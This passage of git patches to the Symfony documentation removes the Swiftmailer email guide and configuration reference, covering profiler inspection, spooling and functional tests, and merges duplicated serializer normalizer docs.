-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-
-You can view any email sent during a single response when you are in the
-``dev`` environment using the web debug toolbar. The email icon in the toolbar
-will show how many emails were sent. If you click it, a report will open
-showing the details of the sent emails.
-
-If you're sending an email and then immediately redirecting to another page,
-the web debug toolbar will not display an email icon or a report on the next
-page.
-
-Instead, you can set the ``intercept_redirects`` option to ``true`` in the
-``dev`` environment, which will cause the redirect to stop and allow you to open
-the report with details of the sent emails.
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/dev/web_profiler.yaml
-        web_profiler:
-            intercept_redirects: true
-
-    .. code-block:: xml
-
-        <!-- config/packages/dev/web_profiler.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:webprofiler="http://symfony.com/schema/dic/webprofiler"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/webprofiler
-                https://symfony.com/schema/dic/webprofiler/webprofiler-1.0.xsd">
-
-            <webprofiler:config
-                intercept-redirects="true"
-            />
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/dev/web_profiler.php
-        use Symfony\Config\WebProfilerConfig;
-
-        return static function (WebProfilerConfig $webProfiler) {
-            $webProfiler->interceptRedirects(true);
-        };
-
-.. tip::
-
-    Alternatively, you can open the profiler after the redirect and search
-    by the submit URL used on the previous request (e.g. ``/contact/handle``).
-    The profiler's search feature allows you to load the profiler information
-    for any past requests.
-
-.. tip::
-
-    In addition to the features provided by Symfony, there are applications that
-    can help you test emails during application development, like `MailCatcher`_,
-    `Mailtrap`_ and `MailHog`_.
-
-How to Spool Emails
--------------------
-
-The default behavior of the Symfony mailer is to send the email messages
-immediately. You may, however, want to avoid the performance hit of the
-communication to the email server, which could cause the user to wait for the
-next page to load while the email is sending. This can be avoided by choosing to
-"spool" the emails instead of sending them directly.
-
-This makes the mailer to not attempt to send the email message but instead save
-it somewhere such as a file. Another process can then read from the spool and
-take care of sending the emails in the spool. Currently only spooling to file or
-memory is supported.
-
-.. _email-spool-memory:
-
-Spool Using Memory
-~~~~~~~~~~~~~~~~~~
-
-When you use spooling to store the emails to memory, they will get sent right
-before the kernel terminates. This means the email only gets sent if the whole
-request got executed without any unhandled exception or any errors. To configure
-this spool, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool: { type: memory }
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool type="memory"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-            'spool' => ['type' => 'memory'],
-        ]);
-
-.. _spool-using-a-file:
-
-Spool Using Files
-~~~~~~~~~~~~~~~~~
-
-When you use the filesystem for spooling, Symfony creates a folder in the given
-path for each mail service (e.g. "default" for the default service). This folder
-will contain files for each email in the spool. So make sure this directory is
-writable by Symfony (or your webserver/php)!
-
-In order to use the spool with files, use the following configuration:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/swiftmailer.yaml
-        swiftmailer:
-            # ...
-            spool:
-                type: file
-                path: /path/to/spooldir
-
-    .. code-block:: xml
-
-        <!-- config/packages/swiftmailer.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config>
-                <swiftmailer:spool
-                    type="file"
-                    path="/path/to/spooldir"
-                />
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        // config/packages/swiftmailer.php
-        $container->loadFromExtension('swiftmailer', [
-            // ...
-
-            'spool' => [
-                'type' => 'file',
-                'path' => '/path/to/spooldir',
-            ],
-        ]);
-
-.. tip::
-
-    If you want to store the spool somewhere with your project directory,
-    remember that you can use the ``%kernel.project_dir%`` parameter to reference
-    the project's root:
-
-    .. code-block:: yaml
-
-        path: '%kernel.project_dir%/var/spool'
-
-Now, when your app sends an email, it will not actually be sent but instead
-added to the spool. Sending the messages from the spool is done separately.
-There is a console command to send the messages in the spool:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send
-
-It has an option to limit the number of messages to be sent:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --message-limit=10
-
-You can also set the time limit in seconds:
-
-.. code-block:: terminal
-
-    $ APP_ENV=prod php bin/console swiftmailer:spool:send --time-limit=10
-
-In practice you will not want to run this manually. Instead, the console command
-should be triggered by a cron job or scheduled task and run at a regular
-interval.
-
-.. caution::
-
-    When you create a message with SwiftMailer, it generates a ``Swift_Message``
-    class. If the ``swiftmailer`` service is lazy loaded, it generates instead a
-    proxy class named ``Swift_Message_<someRandomCharacters>``.
-
-    If you use the memory spool, this change is transparent and has no impact.
-    But when using the filesystem spool, the message class is serialized in
-    a file with the randomized class name. The problem is that this random
-    class name changes on every cache clear.
-
-    So if you send a mail and then you clear the cache, on the next execution of
-    ``swiftmailer:spool:send`` an error will raise because the class
-    ``Swift_Message_<someRandomCharacters>`` doesn't exist (anymore).
-
-    The solutions are either to use the memory spool or to load the
-    ``swiftmailer`` service without the ``lazy`` option (see :doc:`/service_container/lazy_services`).
-
-How to Test that an Email is Sent in a Functional Test
-------------------------------------------------------
-
-Sending emails with Symfony is pretty straightforward thanks to the
-SwiftmailerBundle, which leverages the power of the `Swift Mailer`_ library.
-
-To functionally test that an email was sent, and even assert the email subject,
-content or any other headers, you can use :doc:`the Symfony Profiler </profiler>`.
-
-Start with a controller action that sends an email::
-
-    public function sendEmail($name, \Swift_Mailer $mailer)
-    {
-        $message = (new \Swift_Message('Hello Email'))
-            ->setFrom('send@example.com')
-            ->setTo('recipient@example.com')
-            ->setBody('You should see me from the profiler!')
-        ;
-
-        $mailer->send($message);
-
-        // ...
-    }
-
-In your functional test, use the ``swiftmailer`` collector on the profiler
-to get information about the messages sent on the previous request::
-
-    // tests/Controller/MailControllerTest.php
-    namespace App\Tests\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Test\WebTestCase;
-
-    class MailControllerTest extends WebTestCase
-    {
-        public function testMailIsSentAndContentIsOk()
-        {
-            $client = static::createClient();
-
-            // enables the profiler for the next request (it does nothing if the profiler is not available)
-            $client->enableProfiler();
-
-            $crawler = $client->request('POST', '/path/to/above/action');
-
-            $mailCollector = $client->getProfile()->getCollector('swiftmailer');
-
-            // checks that an email was sent
-            $this->assertSame(1, $mailCollector->getMessageCount());
-
-            $collectedMessages = $mailCollector->getMessages();
-            $message = $collectedMessages[0];
-
-            // Asserting email data
-            $this->assertInstanceOf('Swift_Message', $message);
-            $this->assertSame('Hello Email', $message->getSubject());
-            $this->assertSame('send@example.com', key($message->getFrom()));
-            $this->assertSame('recipient@example.com', key($message->getTo()));
-            $this->assertSame(
-                'You should see me from the profiler!',
-                $message->getBody()
-            );
-        }
-    }
-
-Troubleshooting
-~~~~~~~~~~~~~~~
-
-Problem: The Collector Object Is ``null``
-.........................................
-
-The email collector is only available when the profiler is enabled and collects
-information, as explained in :doc:`/testing/profiling`.
-
-Problem: The Collector Doesn't Contain the Email
-................................................
-
-If a redirection is performed after sending the email (for example when you send
-an email after a form is processed and before redirecting to another page), make
-sure that the test client doesn't follow the redirects, as explained in
-:doc:`/testing`. Otherwise, the collector will contain the information of the
-redirected page and the email won't be accessible.
-
-.. _`MailCatcher`: https://github.com/sj26/mailcatcher
-.. _`MailHog`: https://github.com/mailhog/MailHog
-.. _`Mailtrap`: https://mailtrap.io/
-.. _`Swift Mailer`: https://swiftmailer.symfony.com/
-.. _`SwiftMailerBundle`: https://github.com/symfony/swiftmailer-bundle
-.. _`Creating Messages`: https://swiftmailer.symfony.com/docs/messages.html
-.. _`Mandrill`: https://mandrill.com/
-.. _`SendGrid`: https://sendgrid.com/
-.. _`Amazon SES`: https://aws.amazon.com/ses/
-.. _`generate an App password`: https://support.google.com/accounts/answer/185833
-.. _`allow less secure applications to access your Gmail account`: https://support.google.com/accounts/answer/6010255
-.. _`RFC 3986`: https://www.ietf.org/rfc/rfc3986.txt
diff --git a/index.rst b/index.rst
index a4f512151f5..21617e0f1b4 100644
--- a/index.rst
+++ b/index.rst
@@ -37,7 +37,6 @@ Topics
     console
     doctrine
     deployment
-    email
     event_dispatcher
     forms
     frontend
diff --git a/mailer.rst b/mailer.rst
index 9d9361d2a60..99a7b865383 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -72,11 +72,6 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
     encode them. See `RFC 3986`_ for the full list of reserved characters or use the
     :phpfunction:`urlencode` function to encode them.
 
-.. caution::
-
-    If you are migrating from Swiftmailer (and the Swiftmailer bundle), be
-    warned that the DSN format is different.
-
 Using Built-in Transports
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/configuration/swiftmailer.rst b/reference/configuration/swiftmailer.rst
deleted file mode 100644
index 710c437ff55..00000000000
--- a/reference/configuration/swiftmailer.rst
+++ /dev/null
@@ -1,390 +0,0 @@
-.. index::
-    single: Configuration reference; Swift Mailer
-
-Mailer Configuration Reference (SwiftmailerBundle)
-==================================================
-
-The SwiftmailerBundle integrates the Swiftmailer library in Symfony applications
-to :doc:`send emails </email>`. All these options are configured under the
-``swiftmailer`` key in your application configuration.
-
-.. code-block:: terminal
-
-    # displays the default config values defined by Symfony
-    $ php bin/console config:dump-reference swiftmailer
-
-    # displays the actual config values used by your application
-    $ php bin/console debug:config swiftmailer
-
-.. note::
-
-    When using XML, you must use the ``http://symfony.com/schema/dic/swiftmailer``
-    namespace and the related XSD schema is available at:
-    ``https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd``
-
-Configuration
--------------
-
-.. rst-class:: list-config-options list-config-options--complex
-
-* `antiflood`_
-
-  * `sleep`_
-  * `threshold`_
-
-* `auth_mode`_
-* `command`_
-* `delivery_addresses`_
-* `delivery_whitelist`_
-* `disable_delivery`_
-* `encryption`_
-* `host`_
-* `local_domain`_
-* `logging`_
-* `password`_
-* `port`_
-* `sender_address`_
-* `source_ip`_
-* `spool`_
-
-  * `path`_
-  * `type`_
-
-* `timeout`_
-* `transport`_
-* `url`_
-* `username`_
-
-url
-~~~
-
-**type**: ``string``
-
-The entire SwiftMailer configuration using a DSN-like URL format.
-
-Example: ``smtp://user:pass@host:port/?timeout=60&encryption=ssl&auth_mode=login&...``
-
-transport
-~~~~~~~~~
-
-**type**: ``string`` **default**: ``smtp``
-
-The exact transport method to use to deliver emails. Valid values are:
-
-* smtp
-* gmail (see :ref:`email-using-gmail`)
-* mail (deprecated in SwiftMailer since version 5.4.5)
-* sendmail
-* null (same as setting `disable_delivery`_ to ``true``)
-
-username
-~~~~~~~~
-
-**type**: ``string``
-
-The username when using ``smtp`` as the transport.
-
-password
-~~~~~~~~
-
-**type**: ``string``
-
-The password when using ``smtp`` as the transport.
-
-command
-~~~~~~~~
-
-**type**: ``string`` **default**: ``/usr/sbin/sendmail -bs``
-
-Command to be executed by ``sendmail`` transport.
-
-host
-~~~~
-
-**type**: ``string`` **default**: ``localhost``
-
-The host to connect to when using ``smtp`` as the transport.
-
-port
-~~~~
-
-**type**: ``string`` **default**: 25 or 465 (depending on `encryption`_)
-
-The port when using ``smtp`` as the transport. This defaults to 465 if encryption
-is ``ssl`` and 25 otherwise.
-
-timeout
-~~~~~~~
-
-**type**: ``integer``
-
-The timeout in seconds when using ``smtp`` as the transport.
-
-source_ip
-~~~~~~~~~
-
-**type**: ``string``
-
-The source IP address when using ``smtp`` as the transport.
-
-local_domain
-~~~~~~~~~~~~
-
-**type**: ``string``
-
-.. versionadded:: 2.4.0
-
-    The ``local_domain`` option was introduced in SwiftMailerBundle 2.4.0.
-
-The domain name to use in ``HELO`` command.
-
-encryption
-~~~~~~~~~~
-
-**type**: ``string``
-
-The encryption mode to use when using ``smtp`` as the transport. Valid values
-are ``tls``, ``ssl``, or ``null`` (indicating no encryption).
-
-auth_mode
-~~~~~~~~~
-
-**type**: ``string``
-
-The authentication mode to use when using ``smtp`` as the transport. Valid
-values are ``plain``, ``login``, ``cram-md5``, ``ntlm`` or ``null``.
-
-spool
-~~~~~
-
-For details on email spooling, see :doc:`/mailer`.
-
-type
-....
-
-**type**: ``string`` **default**: ``file``
-
-The method used to store spooled messages. Valid values are ``memory`` and
-``file``. A custom spool should be possible by creating a service called
-``swiftmailer.spool.myspool`` and setting this value to ``myspool``.
-
-path
-....
-
-**type**: ``string`` **default**: ``%kernel.cache_dir%/swiftmailer/spool``
-
-When using the ``file`` spool, this is the path where the spooled messages
-will be stored.
-
-sender_address
-~~~~~~~~~~~~~~
-
-**type**: ``string``
-
-If set, all messages will be delivered with this address as the "return
-path" address, which is where bounced messages should go. This is handled
-internally by Swift Mailer's ``Swift_Plugins_ImpersonatePlugin`` class.
-
-antiflood
-~~~~~~~~~
-
-threshold
-.........
-
-**type**: ``integer`` **default**: ``99``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of emails
-to send before restarting the transport.
-
-sleep
-.....
-
-**type**: ``integer`` **default**: ``0``
-
-Used with ``Swift_Plugins_AntiFloodPlugin``. This is the number of seconds
-to sleep for during a transport restart.
-
-.. _delivery-address:
-
-delivery_addresses
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-If set, all email messages will be sent to these addresses instead of being sent
-to their actual recipients. This is often useful when developing. For example,
-by setting this in the ``config/packages/dev/swiftmailer.yaml`` file, you can
-guarantee that all emails sent during development go to one or more some
-specific accounts.
-
-This uses ``Swift_Plugins_RedirectingPlugin``. Original recipients are available
-on the ``X-Swift-To``, ``X-Swift-Cc`` and ``X-Swift-Bcc`` headers.
-
-delivery_whitelist
-~~~~~~~~~~~~~~~~~~
-
-**type**: ``array``
-
-Used in combination with ``delivery_address`` or ``delivery_addresses``. If set, emails matching any
-of these patterns will be delivered like normal, as well as being sent to
-``delivery_address`` or ``delivery_addresses``. For details, see the
-:ref:`How to Work with Emails during Development <sending-to-a-specified-address-but-with-exceptions>`
-article.
-
-disable_delivery
-~~~~~~~~~~~~~~~~
-
-**type**: ``boolean`` **default**: ``false``
-
-If true, the ``transport`` will automatically be set to ``null`` and no
-emails will actually be delivered.
-
-logging
-~~~~~~~
-
-**type**: ``boolean`` **default**: ``%kernel.debug%``
-
-If true, Symfony's data collector will be activated for Swift Mailer and
-the information will be available in the profiler.
-
-.. tip::
-
-    The following options can be set via environment variables: ``url``,
-    ``transport``, ``username``, ``password``, ``host``, ``port``, ``timeout``,
-    ``source_ip``, ``local_domain``, ``encryption``, ``auth_mode``. For details,
-    see: :ref:`config-env-vars`.
-
-Using Multiple Mailers
-----------------------
-
-You can configure multiple mailers by grouping them under the ``mailers``
-key (the default mailer is identified by the ``default_mailer`` option):
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        swiftmailer:
-            default_mailer: second_mailer
-            mailers:
-                first_mailer:
-                    # ...
-                second_mailer:
-                    # ...
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:swiftmailer="http://symfony.com/schema/dic/swiftmailer"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/swiftmailer
-                https://symfony.com/schema/dic/swiftmailer/swiftmailer-1.0.xsd">
-
-            <swiftmailer:config default-mailer="second_mailer">
-                <swiftmailer:mailer name="first_mailer"/>
-                <swiftmailer:mailer name="second_mailer"/>
-            </swiftmailer:config>
-        </container>
-
-    .. code-block:: php
-
-        $container->loadFromExtension('swiftmailer', [
-            'default_mailer' => 'second_mailer',
-            'mailers' => [
-                'first_mailer' => [
-                    // ...
-                ],
-                'second_mailer' => [
-                    // ...
-                ],
-            ],
-        ]);
-
-Each mailer is registered automatically as a service with these IDs::
-
-    // ...
-
-    // returns the first mailer
-    $container->get('swiftmailer.mailer.first_mailer');
-
-    // also returns the second mailer since it is the default mailer
-    $container->get('swiftmailer.mailer');
-
-    // returns the second mailer
-    $container->get('swiftmailer.mailer.second_mailer');
-
-.. caution::
-
-    When configuring multiple mailers, options must be placed under the
-    appropriate mailer key of the configuration instead of directly under the
-    ``swiftmailer`` key.
-
-When using :ref:`autowiring <services-autowire>` only the default mailer is
-injected when type-hinting some argument with the ``\Swift_Mailer`` class. If
-you need to inject a different mailer in some service, use any of these
-alternatives based on the :ref:`service binding <services-binding>` feature:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            _defaults:
-                bind:
-                    # this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer
-                    \Swift_Mailer: '@swiftmailer.mailer.second_mailer'
-                    # this injects the second mailer when a service constructor argument is called $specialMailer
-                    $specialMailer: '@swiftmailer.mailer.second_mailer'
-
-            App\Some\Service:
-                # this injects the second mailer only for this argument of this service
-                $differentMailer: '@swiftmailer.mailer.second_mailer'
-
-            # ...
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd">
-
-            <services>
-                <defaults autowire="true" autoconfigure="true" public="false">
-                    <!-- this injects the second mailer when type-hinting constructor arguments with \Swift_Mailer -->
-                    <bind key="\Swift_Mailer">@swiftmailer.mailer.second_mailer</bind>
-                    <!-- this injects the second mailer when a service constructor argument is called $specialMailer -->
-                    <bind key="$specialMailer">@swiftmailer.mailer.second_mailer</bind>
-                </defaults>
-
-                <service id="App\Some\Service">
-                    <!-- this injects the second mailer only for this argument of this service -->
-                    <argument key="$differentMailer">@swiftmailer.mailer.second_mailer</argument>
-                </service>
-
-                <!-- ... -->
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        use App\Some\Service;
-        use Psr\Log\LoggerInterface;
-
-
-        $container->register(Service::class)
-            ->setPublic(true)
-            ->setBindings([
-                // this injects the second mailer when this service type-hints constructor arguments with \Swift_Mailer
-                \Swift_Mailer::class => '@swiftmailer.mailer.second_mailer',
-                // this injects the second mailer when this service has a constructor argument called $specialMailer
-                '$specialMailer' => '@swiftmailer.mailer.second_mailer',
-            ])
-        ;
diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 108e505e339..f69e92324a3 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -929,28 +929,6 @@ The priorities of the default normalizers can be found in the
 :method:`Symfony\\Bundle\\FrameworkBundle\\DependencyInjection\\FrameworkExtension::registerSerializerConfiguration`
 method.
 
-swiftmailer.default.plugin
---------------------------
-
-**Purpose**: Register a custom SwiftMailer Plugin
-
-If you're using a custom SwiftMailer plugin (or want to create one), you
-can register it with SwiftMailer by creating a service for your plugin and
-tagging it with ``swiftmailer.default.plugin`` (it has no options).
-
-.. note::
-
-    ``default`` in this tag is the name of the mailer. If you have multiple
-    mailers configured or have changed the default mailer name for some
-    reason, you should change it to the name of your mailer in order to
-    use this tag.
-
-A SwiftMailer plugin must implement the ``Swift_Events_EventListener`` interface.
-For more information on plugins, see `SwiftMailer's Plugin Documentation`_.
-
-Several SwiftMailer plugins are core to Symfony and can be activated via
-different configuration. For details, see :doc:`/reference/configuration/swiftmailer`.
-
 .. _dic-tags-translation-loader:
 
 translation.loader
@@ -1332,6 +1310,5 @@ For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
 .. _`Twig's documentation`: https://twig.symfony.com/doc/2.x/advanced.html#creating-an-extension
-.. _`SwiftMailer's Plugin Documentation`: https://swiftmailer.symfony.com/docs/plugins.html
 .. _`Twig Loader`: https://twig.symfony.com/doc/2.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/reference/index.rst b/reference/index.rst
index 82edbcc0130..6fdf3e6fa1b 100644
--- a/reference/index.rst
+++ b/reference/index.rst
@@ -7,7 +7,6 @@ Reference Documents
     configuration/framework
     configuration/doctrine
     configuration/security
-    configuration/swiftmailer
     configuration/twig
     configuration/monolog
     configuration/web_profiler
diff --git a/reference/map.rst.inc b/reference/map.rst.inc
index aa92cebc144..fa5155989a5 100644
--- a/reference/map.rst.inc
+++ b/reference/map.rst.inc
@@ -8,7 +8,6 @@
   * :doc:`framework </reference/configuration/framework>`
   * :doc:`doctrine </reference/configuration/doctrine>`
   * :doc:`security </reference/configuration/security>`
-  * :doc:`swiftmailer </reference/configuration/swiftmailer>`
   * :doc:`twig </reference/configuration/twig>`
   * :doc:`monolog </reference/configuration/monolog>`
   * :doc:`web_profiler </reference/configuration/web_profiler>`

From d76fe1d5d46e0ae74c064af88d88ecf930e7df78 Mon Sep 17 00:00:00 2001
From: HypeMC <hypemc@gmail.com>
Date: Sun, 4 Oct 2020 15:12:31 +0200
Subject: [PATCH 2447/7107] Remove duplicate normalizers docs

---
 components/serializer.rst        | 15 ++++++++++--
 serializer.rst                   | 39 ++++++++------------------------
 serializer/custom_normalizer.rst |  2 +-
 serializer/normalizers.rst       | 29 ++----------------------
 4 files changed, 26 insertions(+), 59 deletions(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index aac67945db7..3e241b0d099 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -738,7 +738,8 @@ The Serializer component provides several built-in normalizers:
 :class:`Symfony\\Component\\Serializer\\Normalizer\\PropertyNormalizer`
     This normalizer directly reads and writes public properties as well as
     **private and protected** properties (from both the class and all of its
-    parent classes). It supports calling the constructor during the denormalization process.
+    parent classes) by using `PHP reflection`_. It supports calling the constructor
+    during the denormalization process.
 
     Objects are normalized to a map of property names to property values.
 
@@ -769,7 +770,7 @@ The Serializer component provides several built-in normalizers:
         The ``DateTimeZoneNormalizer`` was introduced in Symfony 4.3.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a data URI
+    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
     string (``data:...``) such that files can be embedded into serialized data.
 
 :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
@@ -781,9 +782,17 @@ The Serializer component provides several built-in normalizers:
     :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
     into a list of errors according to the `RFC 7807`_ standard.
 
+    .. versionadded:: 4.1
+
+        The ``ConstraintViolationListNormalizer`` was introduced in Symfony 4.1.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
     Normalizes errors according to the API Problem spec `RFC 7807`_.
 
+    .. versionadded:: 4.4
+
+        The ``ProblemNormalizer`` was introduced in Symfony 4.4.
+
 :class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
     Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
 
@@ -1601,3 +1610,5 @@ Learn more
 .. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
 .. _`API Platform`: https://api-platform.com
 .. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
+.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
+.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
diff --git a/serializer.rst b/serializer.rst
index 3518be26607..4216d619c15 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -57,36 +57,18 @@ Encoders supporting the following formats are enabled:
 
 As well as the following normalizers:
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  handle typical data objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer` for
-  :phpclass:`DateTimeZone` objects
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-  to deal with objects implementing the :phpclass:`JsonSerializable` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer` to
-  denormalize arrays of objects using a format like `MyObject[]` (note the `[]` suffix)
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer` for objects implementing the :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer` for :class:`Symfony\\Component\\ErrorHandler\\Exception\\FlattenException` objects
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
+* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
 
-.. versionadded:: 4.1
-
-    The ``ConstraintViolationListNormalizer`` was introduced in Symfony 4.1.
-
-.. versionadded:: 4.3
-
-    The ``DateTimeZoneNormalizer`` was introduced in Symfony 4.3.
-
-.. versionadded:: 4.4
-
-    The ``ProblemNormalizer`` was introduced in Symfony 4.4.
-
-Custom normalizers and/or encoders can also be loaded by tagging them as
+Other :ref:`built-in normalizers <component-serializer-normalizers>` and
+custom normalizers and/or encoders can also be loaded by tagging them as
 :ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
 :ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
 possible to set the priority of the tag in order to decide the matching order.
@@ -97,7 +79,7 @@ possible to set the priority of the tag in order to decide the matching order.
     ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
     usage and exposing internal details.
 
-Here is an example on how to load the
+Here is an example on how to load the built-in
 :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
 faster alternative to the `ObjectNormalizer` when data objects always use
 getters (``getXxx()``), issers (``isXxx()``) or hassers (``hasXxx()``) to read
@@ -298,4 +280,3 @@ take a look at how this bundle works.
 .. _`GraphQL`: https://graphql.org
 .. _`JSON:API`: https://jsonapi.org
 .. _`HAL`: http://stateless.co/hal_specification.html
-.. _`Data URIs`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index a19dd7c8047..5814b1c7e4e 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -6,7 +6,7 @@ How to Create your Custom Normalizer
 
 The :doc:`Serializer component </components/serializer>` uses
 normalizers to transform any data into an array. The component provides several
-:doc:`built-in normalizers </serializer/normalizers>` but you may need to create
+:ref:`built-in normalizers <component-serializer-normalizers>` but you may need to create
 your own normalizer to transform an unsupported data structure.
 
 Creating a New Normalizer
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index af30532e48a..4e0b63a2ee6 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -21,30 +21,5 @@ Normalizers are enabled in the serializer passing them as its first argument::
 Built-in Normalizers
 --------------------
 
-Symfony includes the following normalizers but you can also
-:doc:`create your own normalizer </serializer/custom_normalizer>`:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-  for :phpclass:`DateTimeZone` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for
-  objects implementing the :phpclass:`DateTimeInterface` interface
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-  for :phpclass:`DateInterval` objects
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer` to
-  transform :phpclass:`SplFileInfo` objects in `Data URIs`_
